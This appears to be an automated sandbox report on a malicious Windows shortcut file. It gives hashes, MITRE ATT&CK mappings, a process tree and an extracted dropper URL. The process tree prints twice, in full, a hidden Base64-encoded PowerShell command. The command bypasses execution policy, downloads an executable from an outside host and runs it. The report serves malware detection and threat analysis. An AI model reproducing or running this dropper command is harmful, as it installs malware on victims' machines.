1c81630804b6f408d2ec4ce688cca89870e52893e59aea6d194c22bc4fb1d182

General

Target

5213706677228235947485/52137066772282356147846598.lnk
Size

4KB
MD5

dc6cd3c09e2d75ef5f1df84472e9b4c4
SHA1

bc79598890a4e39720d32aaaaa803eecf1bba3e3
SHA256

0e85ba9b3fdcc615705fff18bdb7cafad1c99a5378f3f3518c3edc8f3d8cd805
SHA512

7b651dc4a8f73b8bbf5230f754f428540ee4d8b6817a85491c5149ce762bd53288d0ed727c439561455c7f5ab1b66891cd5cb291b2e940f460377e44ce3c6a28
SSDEEP

48:8YFAISNc2ca6rDbakVfmrhpNoVOLYYqXgP7Jiu0GCWUljXZYocIPw7ikOUqIIPwq:8u0c243VWlLVqX67cuiJp1hPwitPw2

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://adrianecolburn.com/download/md2.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	3916	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3916	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	cmd.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
1008	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3916	powershell.exe
3916	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3916	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3452 wrote to memory of 1008	3452	cmd.exe	83
PID 3452 wrote to memory of 1008	3452	cmd.exe	83
PID 1008 wrote to memory of 3916	1008	cmd.exe	84
PID 1008 wrote to memory of 3916	1008	cmd.exe	84

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\5213706677228235947485\52137066772282356147846598.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3452
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c Powershell.exe -WindowStyle Hidden -enc UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgACAAIAAtAG4AbwBwAHIAbwBmAGkAbABlACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBhAGQAcgBpAGEAbgBlAGMAbwBsAGIAdQByAG4ALgBjAG8AbQAvAGQAbwB3AG4AbABvAGEAZAAvAG0AZAAyAC4AcABoAHAAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMQA2ADMAMAAzADEALgBlAHgAZQAiACkAOwBOAGUAdwAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAYQAiACAALQB0AHkAcABlACAAZgBpAGwAZQAgAC0AZgBvAHIAYwBlACAALQB2AGEAbAB1AGUAIAAiAEYANAAwADYARAA2ADAAMQAwAEQAMABEADAAOQAwAEMARAAzAEMAOABDADgAMABCAEYAQQAxADAAQwA3ADAAMAAwADIAMABEADAAMQAwAEUARgBCADAARQAwAEMARgBFADAAQgBGAEMAMAA4ADAANwAwAEQARgBFADAANwAwAEQAQwA3AEYAQwAwADgAMAA2AEMAOAAwAEIAMAA4ADAAMABGAEUAMABCADAAMgAwADgAMAA3ADAAMgAwADAAMABFADAARAAwADIAQwA4AEYARABGAEEAMABDADAAMQBDAEIAQwA4ADAANgBGAEEAMABDADAARABGAEUAMABCAEMAOAAwADYAMAA4ADAAQwBGAEQAMAAxADAAMwAwADQARgBGADAAMgBDADcARgBDAEYAQQBGAEIARAA2ADAANgBGADYARgA0AEYAQQBEADYAQwBBAEQANgBGAEEARgA2AEIAOQBGADQARgBEAEQANgBFADkARABFAEUAMgBGADEARQAyAEUANgBEADYARgBEAEYANgBGADQAMABEAEQANgBEAEMARgAxAEMANgBFADIARQA3AEQARgBEAEUARABDAEUARABDADkAQwBBAEQANgAwAEQARgA2ACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0ARAAxADYAMwAwADMAMQAuAGUAeABlADsA
  2⤵
  - Hide Artifacts: Hidden Window
  - Suspicious use of WriteProcessMemory
  PID:1008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -WindowStyle Hidden -enc UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgACAAIAAtAG4AbwBwAHIAbwBmAGkAbABlACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBhAGQAcgBpAGEAbgBlAGMAbwBsAGIAdQByAG4ALgBjAG8AbQAvAGQAbwB3AG4AbABvAGEAZAAvAG0AZAAyAC4AcABoAHAAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMQA2ADMAMAAzADEALgBlAHgAZQAiACkAOwBOAGUAdwAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAYQAiACAALQB0AHkAcABlACAAZgBpAGwAZQAgAC0AZgBvAHIAYwBlACAALQB2AGEAbAB1AGUAIAAiAEYANAAwADYARAA2ADAAMQAwAEQAMABEADAAOQAwAEMARAAzAEMAOABDADgAMABCAEYAQQAxADAAQwA3ADAAMAAwADIAMABEADAAMQAwAEUARgBCADAARQAwAEMARgBFADAAQgBGAEMAMAA4ADAANwAwAEQARgBFADAANwAwAEQAQwA3AEYAQwAwADgAMAA2AEMAOAAwAEIAMAA4ADAAMABGAEUAMABCADAAMgAwADgAMAA3ADAAMgAwADAAMABFADAARAAwADIAQwA4AEYARABGAEEAMABDADAAMQBDAEIAQwA4ADAANgBGAEEAMABDADAARABGAEUAMABCAEMAOAAwADYAMAA4ADAAQwBGAEQAMAAxADAAMwAwADQARgBGADAAMgBDADcARgBDAEYAQQBGAEIARAA2ADAANgBGADYARgA0AEYAQQBEADYAQwBBAEQANgBGAEEARgA2AEIAOQBGADQARgBEAEQANgBFADkARABFAEUAMgBGADEARQAyAEUANgBEADYARgBEAEYANgBGADQAMABEAEQANgBEAEMARgAxAEMANgBFADIARQA3AEQARgBEAEUARABDAEUARABDADkAQwBBAEQANgAwAEQARgA2ACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0ARAAxADYAMwAwADMAMQAuAGUAeABlADsA
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Window

1

T1564.003

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hzz20d3g.aby.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3916-0-0x00007FF95A9B3000-0x00007FF95A9B5000-memory.dmp

Filesize
8KB

Download
memory/3916-1-0x0000021AC00E0000-0x0000021AC0102000-memory.dmp

Filesize
136KB

Download
memory/3916-11-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

Filesize
10.8MB

Download
memory/3916-12-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

Filesize
10.8MB

Download
memory/3916-13-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

Filesize
10.8MB

Download
memory/3916-14-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

Filesize
10.8MB

Download
memory/3916-18-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp

Filesize
10.8MB

Download

Analysis

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